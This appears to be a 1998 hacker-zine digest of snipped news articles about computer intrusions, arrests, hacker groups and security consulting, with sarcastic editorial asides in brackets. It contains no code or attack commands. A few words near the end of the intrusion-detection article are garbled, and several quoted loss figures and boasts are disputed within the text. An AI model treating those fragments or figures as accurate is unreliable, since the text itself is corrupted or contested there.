Despite recent security product and technology developments, computer networks are becoming more vulnerable to outside attack, not less.

[Woohoo!]

[snip...]

"I know about 95 percent of [the vulnerabilities] I am going to find at a company before I even get there," said Ira Winkler, president of the Information Security Advisory Group ‑‑ a firm that specializes in penetrating business security systems to expose vulnerabilities ‑‑ and author of the book Corporate Espionage. "I can steal a billion dollars from any [corporation] within a couple of hours."

[One trick pony...]

[snip...]

In a study to be published next month, WarRoom Research found that the vast majority of Fortune 1000 companies have experienced a successful break‑in by an outsider in the past year. More than half of those companies have experienced more than 30 system penetrations in the past 12 months. Nearly 60 percent said they lost $200,000 or more as a result of each intrusion.

In a separate study published earlier this month by the Computer Security Institute and the FBI, 520 U.S. companies reported a total loss of $136 million from computer crime and security breaches in 1997, an increase of 36 percent from the year before. The Internet was cited by 54 percent of the respondents as a frequent point of attack, about the same percentage of respondents that cited internal systems as a frequent point of attack.

[snip...]

What You Can Do

One universal piece of advice came from hackers, hackers for hire and those who collect computer crime data: When your vendor issues a software patch, install it immediately.

"The biggest mistake people make is that they underestimate the threat," Moss said. "They don't put in the patches, they misconfigure their firewalls, they misconfigure routers."

[snip...]

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Cyberattacks spur new warning system

Author: Heather Harreld

Date: March 23, 1998

The Defense Department has created a new alert system to rate the level of threats to its information systems that mirrors the well‑known Defense Conditions (DEFCONs) ratings that mark the overall military status in response to traditional foreign threats.

The new Information Conditions, or "INFOCONs," are raised and lowered based upon cyberthreats to DOD or to the U.S. Strategic Command (Stratcom) at Offutt Air Force Base in Nebraska. Stratcom is responsible for deterring any military attack on the United States and for deploying troops or launching nuclear weapons should deterrence fail, a Stratcom spokesman said. As INFOCONs are raised, officials take additional measures to protect information systems.

[snip...]

Officials at Stratcom have developed detailed guidelines on raising and lowering INFOCONs based on the threat. Structured, systematic attacks to penetrate systems will result in a higher INFOCON level than when individual, isolated attempts are made, according to Stratcom.

[snip...]

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: <pure lameness>

Source: "Betty G.O'Hearn" <betty@infowar.com>

Infowar.Com was notified today by the "Enforcers" Computer Hackers Group, that an agreement was reached with chief negotiator Ian A. Murphy, aka Capt. Zap, to cease and desist their cyber destruction witnessed in the recent attacks and intrusions that have rocked the Internet in past weeks. The Enforcers began their massive assault on corporate and military websites after the arrest of "Pentagon Hackers" here in the US and Israel.

Ian Murphy, CEO of IAM/Secure Data Systems, and the first US hacker arrested back in 1981, issued press releases during negotiations. (see www.prnewswire.com) Murphy began the process to begin deliberations out of a sense of duty. Murphy's dialogue with members of the Enforcer group pointed to the fact that the destruction was counter productive. He urged the group to consider halting this activity. "The destruction of information systems for an alleged cause is not the way to go about such things in defense of Hackers and Crackers."

[Who made Ian Murphy chief negotiator? Why wasn't I notified so I could talk to these wankers? This is the kind of pathetic shit that makes PRNewswire the pond scum of journalism. In case you couldn't tell, this is pure media hype designed to get more business for Murphy and CO.]

[snip...]

Statement from a Enforcers representative is below.

[HTML tags have been removed.]

From: Adam <<adamb1@flash.net>

Reply‑To: adamb1@flash.net

Date: March 26, 1998

Organization: Adam's Asylum

To: "Betty G.O'Hearn" <<betty@infowar.com>

Subject: Enforcers Press Release/Announcement

STATEMENT OF THE ENFORCERS

We, the Enforcers, have decided that it would be in the best interest of the hacking community and the security community at large to cease and desist all web site hacking of external businesses as advised by Mr. Ian Murphy (Captain Zap.) We agree that our actions are not productive and are doing more harm than good towards the security community.

Therefore, as an agent of the Enforcers, I hereby state that all web site hacks on external sites will be immediately halted. We feel that there will be other avenues opening to achieve our goal of a substantial reduction in child pornography and racist web sites and netizens. We also support the larger goals of the hacker community and in the future we will work to augment the public's view rather than detract from it. All members of Enforcers who hacked the web sites have agreed to this release and will stop hacking external web sites.

[13:51 GMT ‑0600 26 March 1998]

We thank you for your time and assistance in this matter.

We congratulate both Mr. Murphy and The Enforcers for their diligence in reaching this agreement. This is indeed an act of peace in our cyberworld.

[This is indeed an act which causes illness to stomach.]

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: IBM's Ethical Hackers Broke In!

TUCSON, Ariz. (March 23, 1998 8:30 p.m.) ‑ International Business Machines Corp.'s team of "ethical hackers" successfully broke into an unnamed company's computer network in a demonstration of a live attack at a computer industry conference.

[They make it sound like this is a big event. "Look guys! We actually broke in!#$!"]

[snip...]

Palmer said IBM charges between $15,000 to $45,000 to perform a hack of a company's system, with its permission, to test its security. Palmer said because hacking is a felony, its clients sign a contract that he calls a "get out of jail free card" specifying what IBM is allowed to do.

The IBM team, which has an 80 percent success rate in electronic break‑ins, is not a team of reformed hackers and Palmer warned the audience that hiring former hackers can be very dangerous, and not worth the risk.

[*BULLSHIT* .. IBM hires hackers.. IBM hires hackers.. secret is out, nyah nyah.]

[snip...]

He said that there are currently about 100,000 hackers worldwide, but that about 9.99 percent of those hackers are potential professional hired hackers, who may be involved in corporate espionage, and .01 percent are world class cyber criminals. Ninety percent are amateurs who "cyber" joyride."

[snip...]

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Two accused of conspiring to hack into CWRU system

Source: Plain Dealer Reporter

Author: Mark Rollenhagen

Date: Thursday, March 26, 1998

A federal grand jury yesterday indicted two Cleveland Heights residents on felony computer hacking charges.

Rebecca L. Ching, 27, and Jason E. Demelo, 22, who authorities said live in an apartment on Mayfield Rd., are accused of conspiring to hack into the computer system at Case Western Reserve University between October 1995 and June 1997.

Ching was a systems administrator for a computer system on the CWRU campus network during at least a portion of the conspiracy, the indictment said.

She is accused of helping Demelo hack into the CWRU system by directing him to install a "sniffer" program capable of intercepting electronic information, including user names and passwords.

Federal prosecutors would not say why Ching and Demelo allegedly sought to hack into the system.

Neither could be reached to comment.

Tom Shrout, director of communications for CWRU, said Ching worked part time for the university in its information sciences division three or four years ago.

The case is believed to be the first federal computer hacking case brought in Northern Ohio since the FBI organized a computer crime unit last year.

Demelo is also charged with seven counts of illegally intercepting electronic communications sent to other universities, including Cleveland State University, George Mason University and the University of Minnesota, and Internet providers, including Modern Exploration, APK Net Ltd., and New Age Consulting Service, and Cyber Access, a software company.

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: FBI Warns of Big Increase In On‑line Crime

[Hrm.. wonder if it is time to get next year's budget?!]

WASHINGTON (March 25, 1998 00:19 a.m. EST) ‑‑ Criminal cases against computer hackers have more than doubled this year as the ranks of teenage hackers were joined by industrial spies and foreign agents, the FBI warned Tuesday.

[Cases have doubled... no word on convictions.. hrm...]

The FBI told a congressional Joint Economic Committee hearing that it had recorded a significant increase in its pending cases of computer intrusions, rising from 206 to 480 this year.

[snip...]

Michael Vatis, head of the FBI's national infrastructure protection center, said: "Although we have not experienced the electronic equivalent of a Pearl Harbor or Oklahoma City, as some have foretold, the statistics and our cases demonstrate our dangerous vulnerabilities to cyber attacks."

[snip...]

He told how one hacker had broken into telephone systems in Massachusetts to cut off communications at a regional airport and disconnect the control tower last year. Last week a teenager agreed to serve two years' probation after pleading guilty to disrupting communications at the Worcester, Mass., airport for six hours.

Another hacker in Florida is accused of breaking into the 911 emergency phone system last year and jamming all emergency services calls in the region.

The FBI said the dangers of cybercrime were rising because of the increased availability of hacking tools on the Internet, as well as electronic hardware such as radio frequency jamming equipment.

Last week Deputy Defense Secretary John Hamre toured European governments to warn of the risks of computer crime and discuss possible counter‑measures.

In spite of the publicity surrounding hackers, industrial espionage remains the most costly source of cybercrime, the committee heard Tuesday.

Last July an unnamed computer communications company sent a malicious computer code which diverted communications from one of its rivals. The FBI estimated the victim company suffered losses of more than $1.5 million.

Other FBI officials told how the U.S. was increasingly the subject of economic attack by foreign governments using computers. Larry Torrence, of the FBI's national security division, said foreign agents were "aggressively targeting" proprietary business information belonging to U.S. companies.

More frequently, criminals are using the Internet to defraud potential investors with bogus investment schemes and banks.

Fraudulent schemes on the Internet were becoming "epidemic," said Neil Gallagher, of the FBI's criminal division. One pyramid scheme, called Netware International, had recruited 2,500 members across the country by promising to share profits of 25 percent a year in a new bank which it was claiming to form.

Investigators said they had seized almost $1 million to date.

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Computer hacker jailed for 18 months

Date: Friday, March 27, 1998

A computer hacker who tried to destroy an Internet company that refused to hire him was jailed for 18 months today for offences that include publishing customer credit card numbers.

In the NSW District Court, Judge Cecily Backhouse said Skeeve Stevens seriously damaged AUSnet, which has since gone out of business, by compromising 1,225 credit cards and by prominently displaying a message on its homepage on the World Wide Web.

The April 1995 message included: "So dont (sic) be surprised if all you (sic) cards have millions of dollars of shit on them ... AUSNET is a disgusting network ... and should be shut down and sued by all their users!"

Stevens, 26, pleaded guilty to inserting data into a computer system in Sydney in April 1995 and asked the judge to take into account another eight offences, including accessing confidential information.

[snip...]

The judge said Stevens' actions caused serious harm to the goodwill of AUSnet, whose staff had to answer non‑stop calls from angry customers many of whom cancelled their accounts ‑ and who had to deal with crippling effects of their cash flows.

Judge Backhouse said general deterrence was important in this type of offence, which was very hard to detect.

She jailed him for three years, but ordered him to be released on a recognisance after 18 months. ‑ Australian Associated Press *Australian Eastern Daylight Time (AEDT) is 11 hours ahead of Greenwich Mean Time.

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Afternoon Line

Source: The Netly News

Author: Declan McCullah

Date: March 24, 1998

Technology is one of those issues where lawmakers vie to sound as dumb as possible. At a "cyber‑theft" hearing this morning, Rep. Jim Saxton (R‑N.J.) said that his only knowledge about computers dates back to when his printer had a cover "to shield our ears from the noise." Could the witnesses from the FBI please explain the problems they had with this newfangled Internet? Sure, replied Michael Vatis, the head of the National Infrastructure Protection Center: "There are hacker web sites" out there, he said, with software that lets you "click on a button to launch an attack." The fact that Carnegie Mellon University's CERT center reported a 20 percent reduction in attacks from 1996 to 1997 didn't faze him. The real problem, Vatis griped, is "people out there who still romanticize hackers as kids just having fun. [What about] the elderly person who can't get through to 911 in an emergency because of a hacker?" Joining Vatis in testifying before Congress' Joint Economic Committee were top FBI honchos Larry Torrence and Neil Gallagher. Nobody representing civil liberties groups, computer security organizations, or high tech companies was invited to speak. ‑‑By Declan McCullagh/Washington

[...]

Witness at the Persecution

Then again, there's a job opportunity in Los Angeles for someone with top‑notch skills in telecommunications, system and network administration, and computer security ‑‑ and you won't even have to turn on a computer. The lawyer for renown hacker Kevin Mitnick is looking for an expert witness to testify at his client's trial, and has issued a sort of want‑ad press release. "Qualified candidates must have an advanced degree and be knowledgeable in DOS, Windows, SunOS, VAX/VMS and Internet operations," the job description reads. Oh well, they lost me after "qualified," but with Uncle Sam paying the tab it could be the perfect opportunity for someone with a taste for the spotlight and nothing on their agenda starting as early as March 30.

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacking Geniuses or Monkeys

Source: ZDTV

Author: Ira Winkler

Date: March 30, 1998

By now everyone has heard about the Pentagon hacks‑‑ and the ensuing arrests of two teenagers in Cloverdale, Calif., and The Analyzer, the Israeli claiming to be the superhacking mentor of the Cloverdale teens. There were also two other Israelis arrested at the same time.

The media and Websites like antionline.com portrayed the criminals as geniuses. I never heard of these supposed geniuses before, but the one thing that went through my mind was a quote by Scott Charney, Chief of the Department of Justice Computer Crime and Intellectual Property Unit: "Only the bad ones get caught."

I wanted the inside scoop, so I talked to some real hackers, who are really considered "elite" within the hacking community. These are people who have been hacking for over a decade and can take control of any system that they want. They invent the hacks that the wannabes find tools to accomplish.

The opinion of the elite varied little: "The hackers involved in the Pentagon and ensuing hacks are clueless."

Bad hackers are clueless

Why are the Pentagon hackers clueless? In the first place, they were caught.

The inside scoop is that the Pentagon hackers did nothing to cover their tracks and used the same routes of access again and again, making their capture inevitable. In short, they failed the basics of Criminal Hacking 101.

The true act of stupidity, however, was talking to the press and being totally unrepentant about their actions. They even bragged about it. This is like asking the FBI, "Please prosecute me."

While the Department of Justice doesn't usually prosecute juveniles, the teenagers were almost daring them to. Then The Analyzer jumped in, threatening to wreak havoc on the entire Internet if the teenagers were pursued. A week later he was arrested.

Skilled hackers remember the arrest of the people who hacked the DoJ and CIA webpages. The lesson: if you leave any tracks while embarrassing the US Government, you will be caught.

The hacking inner circle told me that The Analyzer did not cover his tracks at all, and his capture was easy, even though it spanned international lines. And how skillful are The Analyzer and the Pentagon hackers? According to my sources, almost all the hacks were accomplished via a tool that automatically exploited the rstatd problem.

You really don't have to know what the rstatd problem means. The best analogy is that the Pentagon hackers found a master key on the street and tried it on every lock that they could find. Unfortunately, there are tens of thousands of "locks" that the master key fits. This is hardly the sign of a computer genius, according to the elite.

Who is The Analyzer, anyway?

The real hackers then wondered why they have never heard of The Analyzer before. The talented hackers do seem to know each other or at least hear about the "rising stars" of the community. The Analyzer never fit this category. Nor did anyone recognize him when his picture was wired around the world.

And what about the language that the Pentagon hackers and The Analyzer used in their unwise interviews?

The Analyzer threatened to damage "Internet servers." Apparently, real hackers don't use this term, it is too mainstream. The California teenagers were quoted as saying that the reason they hacked was, "Power." Among the elite, real power is the anonymous and undetected control of a computer. Needless to say, the Pentagon hackers were not anonymous or undetected. I wonder how "powerful" they will feel in prison.

It didn't surprise my hacker friends when another group of hackers, calling themselves The Enforcers, jumped on the bandwagon. These people threatened to hack computers all over the world in retaliation for the capture of The Analyzer and the Cloverdale teens. Of course, The Enforcers' self‑proclaimed leader used the same email address to put out his statements and respond to queries from the media‑‑ making himself and his group easy targets for federal attention.

The only reasons he may not be arrested is that his group hasn't caused any real damage, and the FBI has more important problems to deal with than wannabe hackers looking for their 15 minutes of fame.

Hacker wannabes

I'm really getting sick of the Pentagon hacking stories, and all the wannabe hackers clamoring for their moment in the spotlight. Perhaps, when the FBI starts actively prosecuting juveniles and other people for hacking‑related crimes, these wannabes will start using their computers in more productive ways.

More importantly, maybe the media will stop portraying anyone who can hack a computer as some sort of genius. As I have said before, and as the real hackers can confirm, I can train a monkey to break into a computer in a few hours. The Pentagon hackers have displayed no more talents than the monkeys of which I speak. On the other hand, the fact that they can break into Pentagon computers makes the Department of Defense look like monkeys as well.

The fact that the media continues to paint these wannabes as geniuses makes them worse than monkeys.

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Low Tech Spooks ‑ Corporate Spies

Source: Forbes

Author: Adam L. Penenberg

In his slightly crumpled brown uniform, Richard Jones looked like any typical deliveryman, bringing in a new batch of urgently needed office supplies to corporations everywhere. But Jones, who was heading for the parking lot of a major chipmaker's border town maquiladora, only looked the part. Everything about him that day was made up.

His uniform, "A close match, but not perfect," he would recall later, the office supplies‑‑paper, pens and toner cartridges‑‑picked up from a local stationery store. Even his name was fictional.

As Jones took a final deep breath and carried the supplies into the company's air‑conditioned chill, a security guard took one look at the brown uniform and lazily waved him through to the office manager's office. Jones had already contacted the delivery company and, pretending to be from the semiconductor company, had canceled that week's delivery run.

[snip...]

And that was that. The office manager showed Jones around the entire premises, pointing out photocopiers, fax machines, bookshelves, supply cabinets that had to be resupplied and the offices of executives. She even got him coffee.

What was the point of the charade? Jones, not his real name, is a corporate spook. A rival company had paid him to obtain the semiconductor company's forthcoming quarterly earnings before they were announced. The fee: a nifty $35,000.

[snip...]

Many former Central Intelligence Agency, National Security Agency and Defense Intelligence Agency employees have sought refuge in the corporate world, often heading their own companies. They even have their own trade organization: the Society of Competitor Intelligence Professionals, or SCIPs.

[You must have proper ID and know the secret handshake to join.]

"The scope of the problem is enormous," says Ira Winkler, security consultant and author of Corporate Espionage. "On any one day there are a few hundred people engaged in breaking into companies and stealing information in this country. I can literally walk into a company and within a few hours walk out with billions of dollars."

[One trick pony...]

[snip...]

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: 'White Hat' Hackers Probe Pores in Computer Security Blankets Source: Washington Post

Author: Pamela Ferdinand

Date: April 4, 1998

BOSTON: In a chaotic room crammed with computer terminals and circuit boards, a long‑haired man in black jeans ‑‑ "Mudge" by his Internet handle ‑‑ fiddles with the knobs of a squawking radio receiver eavesdropping on the beeps and tones of data transmissions.

Nearby, a baby‑faced 22‑year‑old in a baggy sweat shirt, nicknamed "Kingpin," analyzes reams of coded equations to break password sequences percolating on his computer screen. Other figures with equally cryptic identities toil in an adjoining chamber, their concentrated faces lit only by a monitor's glare and the flicker of silent television sets.

This is the L0pht, pronounced "loft," a techie operations center in a suburban warehouse several miles from city center that is inhabited by a group whose members have been called rock stars of the nation's computer‑hacking elite.

The seven members of this computer fraternity‑cum‑high tech clubhouse have defeated some of the world's toughest computer and telecommunications programs and created security software that is the gold standard of corporate and hacking worlds. By day, they are professional computer experts, mostly in their twenties and thirties, with jobs and even wives. By night, they retreat to the warehouse and their electronic aliases troll the Internet for security gaps.

Hacking mostly for the challenge, they have exposed security flaws in Microsoft Corp.'s leading network operating system, revealed holes in Lotus software and figured out how to decode pager messages and mobile police terminal data, among other feats.

Hackers typically get into supposedly secure computer systems and pinpoint security breaches by deciphering elaborate number, letter and symbol combinations designed by manufacturers to protect their products. If security is breached, users risk having everything from private e‑mail read to databases erased.

A single, unintentional hack is not illegal, the U.S. attorney general's office here says. But repeat intruders face criminal penalties, especially when they compromise and damage confidential government, military or financial information.

[Hrm.. such nice vague wording. Break in one time (the first time), and it isn't illegal?!]

[snip...]

L0pht members pride themselves on a less invasive and more altruistic goal just this side of the law: To locate and document Internet security gaps for free for the sake of consumers who have been led to believe their online transactions are secure.

"We think of our Net presence as a consumer watchdog group crossed with public television," said "Mudge," a professional cryptographer by day who declined to identify himself for security reasons. "At this point, we're so high profile . . . it would be ludicrous for us to do anything wrong."

Even companies whose products have been hacked for security weaknesses laud the social ethos and technical prowess of the members of the L0pht, who frequently notify manufacturers and recommend fixes before going public with their finds. Unlike villainous hackers labeled "black hats," who probe cyberspace for profit and malice, Robin Hood‑style "white hats" like the L0pht are generally accorded respect, and even gratitude.

[snip...]

In the L0pht's most widely publicized hack, "Mudge" and a colleague assaulted Microsoft's Windows NT operating system last year and found inherent flaws in the algorithm and method designed to hide user passwords. They demonstrated the security breach by posting their victorious code on the Internet and showing how it was possible to steal an entire registry of passwords in roughly 26 hours, a task Microsoft reportedly claimed would take 5,000 years.

"It's big. It's bad. It cuts through NT passwords like a diamond tipped, steel blade," boasts advertising for the latest version of their security‑auditing tool, dubbed "L0phtcrack." "It ferrets them out from the registry, from repair disks, and by sniffing the net like an anteater on dexadrene."

Microsoft took notice and, in an unprecedented move, executives invited the L0pht to dinner at a Las Vegas hacker convention last year. They have worked with the L0pht to plug subsequent security loopholes while simultaneously adding hacker‑style techniques to in‑house testing.

[snip...]

In doing so, the L0pht is grabbing the world's attention. But for all their skill in unscrambling the great riddles of technology, they remain baffled by some fundamental mysteries of life. Asked what puzzle they would most like to solve, "Kingpin" replied: "Girls."

[See! At least 2 out of 7 l0pht members hack for girls!]

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: 101 Ways to Hack into Windows NT

Source: Surveillance List Forum

Date: April 3, 1998

MELBOURNE, AUSTRALIA: A study by Shake Communications Pty Ltd has identified not 101, but 104, vulnerabilities in Microsoft Windows NT, which hackers can use to penetrate an organisation's network.

Many of the holes are very serious, allowing intruders privileged access into an organisation's information system and giving them the ability to cause critical damage ‑ such as copying, changing and deleting files, and crashing the network. Most of the holes apply to all versions (3.5, 3.51 and 4) of the popular operating system.

[snip...]

Shake Communications also provides links to patches/fixes in its Vulnerabilities Database, which also covers other operating systems, programs, applications, languages and hardware.

[snip...]

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Suspected NASA Hacker Nabbed

Source: CNET news.com

Date: April 6, 1998

TORONTO, Ontario‑‑A 22‑year‑old Canadian man suspected of breaking into a NASA Web site and causing tens of thousands of dollars in damage has been arrested by Canadian Mounties.

The Royal Canadian Mounted Police in the northern Ontario city of Sudbury charged Jason Mewhiney with mischief, illegal entry, and willfully obstructing, interrupting, and interfering with the lawful use of data, Corporal Alain Charbot said today.

[u4ea?!]

[snip...]

More than $70,000 worth of damage was caused at the NASA Web site and officials were forced to rebuild the site and change security, Charbot said.

The FBI tracked the hacker by tracing telephone numbers to the Sudbury area.

The Mounties raided the homes of Mewhiney's divorced parents and seized an ancient computer, a second basic computer, a high‑speed modem, diskettes, and documents.

[snip...]

Charbot said ironically, once hackers are released from police custody they are prime candidates for cushy corporate jobs, doing the same type of work‑‑but with the permission of Web site builders.

[Why must these people revert to the use of 'web' terms?!]

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: CEOs Hear the Unpleasant Truth about Computer Security Source: CNN

Author: Ann Kellan

Date: April 6, 1998

ATLANTA (CNN) ‑‑ Computer hackers breaking into government and corporate computers is estimated to be a $10 billion‑a‑year problem, so CEOs met Monday in Atlanta to hear what government and industry experts are doing about it.

[More expert figures on damage... <sigh>]

They learned, among other things, that the Pentagon alone had 250,000 hacker attempts on its computer system last year, and that computer networks are easy targets.

[And more quoting of inaccurate statistics...]

They also learned that there are almost 2,000 Web sites offering tips, tools and techniques to hackers.

Among the things a hacker can do is send an e‑mail to someone and attach a computer program to it. The attached program will, in the words of one hacker, "open up a back door" into the computer system it was sent to.

[Its just that easy I bet...]

[snip...]

According to IBM CEO Louis Gerstner, government and corporations need to work together to set standards for security practices such as hacker‑resistant encryption codes.

"We should be encouraging the widespread adoption of encryption technology right now, led by U.S.‑based manufacturers," Gerstner said.

CIA Director George Tenet told the CEOs not to look to the government to fix the problem.

[Now there is a good quote.]

[snip...]

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Codebreakers

Source: Time Magazine

Date: April 20, 1998

CRACKED Thought your new digital cell phone was safe from high‑tech thieves? Guess again. Silicon Valley cypherpunks have broken the proprietary encryption technology used in 80 million GSM (Global System for Mobile communications) phones nationwide, including Motorola MicroTAC, Ericsson GSM 900 and Siemens D1900 models. Now crooks scanning the airwaves can remotely tap into a call and duplicate the owner's digital ID. "We can clone the phones," brags Marc Briceno, who organized the cracking. His advice: manufacturers should stick to publicly vetted codes that a bunch of geeks can't crack in their spare time. ‑‑By Declan McCullagh/Washington

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hackers Could Disable Military

Source: Washington Times

Author: Bill Gertz

Date: April 16, 1998

Senior Pentagon leaders were stunned by a military exercise showing how easy it is for hackers to cripple U.S. military and civilian computer networks, according to new details of the secret exercise.

Using software obtained easily from hacker sites on the Internet, a group of National Security Agency officials could have shut down the U.S. electric‑power grid within days and rendered impotent the command‑and‑control elements of the U.S. Pacific Command, said officials familiar with the war game, known as Eligible Receiver.

[snip...]

Pentagon spokesman Kenneth Bacon said, "Eligible Receiver was an important and revealing exercise that taught us that we must be better organized to deal with potential attacks against our computer systems and information infrastructure."

[Such a neat name too!]

The secret exercise began last June after months of preparation by the NSA computer specialists who, without warning, targeted computers used by U.S. military forces in the Pacific and in the United States.

The game was simple: Conduct information warfare attacks, or "infowar," on the Pacific Command and ultimately force the United States to soften its policies toward the crumbling communist regime in Pyongyang. The "hackers" posed as paid surrogates for North Korea.

The NSA "Red Team" of make‑believe hackers showed how easy it is for foreign nations to wreak electronic havoc using computers, modems and software technology widely available on the darker regions of the Internet: network‑scanning software, intrusion tools and password‑breaking "log‑in scripts."

[They successfully hack their target, yet they are "make‑believe"?]

According to U.S. officials who took part in the exercise, within days the team of 50 to 75 NSA officials had inflicted crippling damage.

They broke into computer networks and gained access to the systems that control the electrical power grid for the entire country. If they had wanted to, the hackers could have disabled the grid, leaving the United States in the dark.

[snip...]

The attackers also foiled virtually all efforts to trace them. FBI agents joined the Pentagon in trying to find the hackers, but for the most part they failed. Only one of the several NSA groups, a unit based in the United States, was uncovered. The rest operated without being located or identified.

The attackers breached the Pentagon's unclassified global computer network using Internet service providers and dial‑in connections that allowed them to hop around the world.

[snip...]

The targets of the network attacks also made it easy. "They just were not security‑aware," said the official.

A second official found that many military computers used the word "password" for their confidential access word.

[*scribbling notes..*]

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Secret Service Hackers Can't Crack Internet

Source: PA News

Author: Giles Turnbull

Date: April 21, 1998

[So the NSA has better hackers than the Secret Service. <snicker>]

Professional computer hackers from the secret services were brought in to attempt to hack into the Government's internal secure communications system, which was launched today.

As part of the year‑long planning and preparation of the Intranet, staff from GCHQ and similar security organisations were brought in to try to hack into the system.

But they failed.

[snip...]

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Now Hiring: Hackers (Tattoos Welcome)

Source: Tribune

Author: Susan Moran

Date: April 12, 1998

Even the computer professionals who like to wear Birkenstocks and T‑shirts to work find the dress code of GenX hackers a bit extreme. The main elements seem to be tattoos and nose rings.

[No stereotyping here...]

They'd better get used to them. Many computer hackers, some of them recovering computer criminals, are adeptly turning their coveted expertise into big bucks.

A surge in computer crime, spurred by the shift to networked computers and by the growing popularity of the Internet, has created a huge demand for information security experts who can help protect companies' computer systems. Recent high‑profile attacks on government and university computer networks highlighted the vulnerability of these networks and spurred corporate executives to seek ways to fortify their systems.

[snip...]

In a separate recent incident, the Justice Department last month arrested three Israeli teenagers suspected of masterminding the break‑ins of hundreds of military, government and university computer sites to gaze at unclassified information. The Federal Bureau of Investigation is also investigating two California teens who linked up with their Israeli co‑conspirators over the Internet.

[Three Israeli teens? Gee, could they mean the two Cloverdale CALIFORNIA kiddies and 'the analyzer'?]

[snip...]

Hackers' anarchistic style is gradually gaining acceptance in corporations and government agencies, although some conservative organizations feel safer renting experts from established consulting firms.

[Experts that consist of hackers who can dress well, and act all 'corporate'.]

[snip...]

That yellow‑haired hacker, a 24‑year‑old who prefers to be known by his alias, "Route," also sports a tongue bar. His work as an information security consultant is worth $1,500 to $2,000 a day to clients who want to arm themselves against attacks by "crackers"‑‑the correct term for hackers who use their computer expertise to commit malicious acts of infiltrating computer networks. On his own time, Route edits Phrack, a computer security journal (phrack.com). And he occasionally gives talks to government and corporate clients for Villella's firm, New Dimensions International (www.ndi.com). Route writes his own security‑related tools and claims he's never used them for illegal snooping.

[Woohoo! Go Route! Go Route!]

[snip...]

Another hacker who now makes a healthy living consulting goes by the alias "Mudge." He is a member of L0pht, a sort of "hacker think tank" consisting of a handful of Boston‑based hackers who work out of a loft space, where they research and develop products and swap information about computer and cellular phone security, among other things. Mudge consults for private and public organizations, teaches classes on secure coding practices, and writes his own and reviews others' code. "It pays well, but the money isn't the main reason I'm doing it," he said.

[In a recent talk over beer, Mudge confided in me that he does it for the girls. :) ]

What he likes best is knowing he's among the elite experts who understand computer security more than big‑name consultants. He's proud that he and his ragged assortment of hacker friends are called in to solve problems that stump the buttoned‑down set.

"Not bad for a bunch of bit‑twiddlers," he wrote in an e‑mail missive.

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacker Stoppers?

Source: InformationWeek

Author: Deborah Kerr

Date: April 27

Companies bought $65 million worth of network‑intrusion

tools last year, but capabilities still lag behind what's promised.

Neal Clift no longer sleeps on the floor of his office. Ten years ago, he slept under his Digital VAX at Leeds University in England, listening for the telltale clicks and hums that signal an intruder on his network. For weeks, a hacker had been shamelessly crashing his machine, deleting files, and reconfiguring controls. Clift tracked the hacker's movements, recorded the keystrokes, and eventually closed up the hacker's entry points.

At the time, pulling late‑nighters was the only way to catch a hacker, since poring over system logs could only establish the hacker's patterns after the fact. Now, intrusion‑detection technology lets network security managers and administrators catch trespassers without spending the night on the office floor.

Intrusion‑detection tools are a $65 million industry that will grow as large as the firewall market, which reached about $255 million in 1997, according to the Hurwitz Group, in Framingham, Mass. Touted as network burglar alarms, intrusion‑detection systems are programmed to watch for predefineds2000] attack "signatures," or predefined bytecode trails of prespecified hacks. Intrusion‑detection systems also send out real‑time alerts of suspicious goings‑on inside the network. enger]

But don't bet the server farm on intrusion‑detection systems yet. They're still new, and their capabilities are limited. No matter what you buy, some portion of the enterprise will be unprotected. Intrusion‑detection systems also can break down under certain types of attacks, in some cases even turning on their own networks under the guidance of a truly knowledgeable hacker.

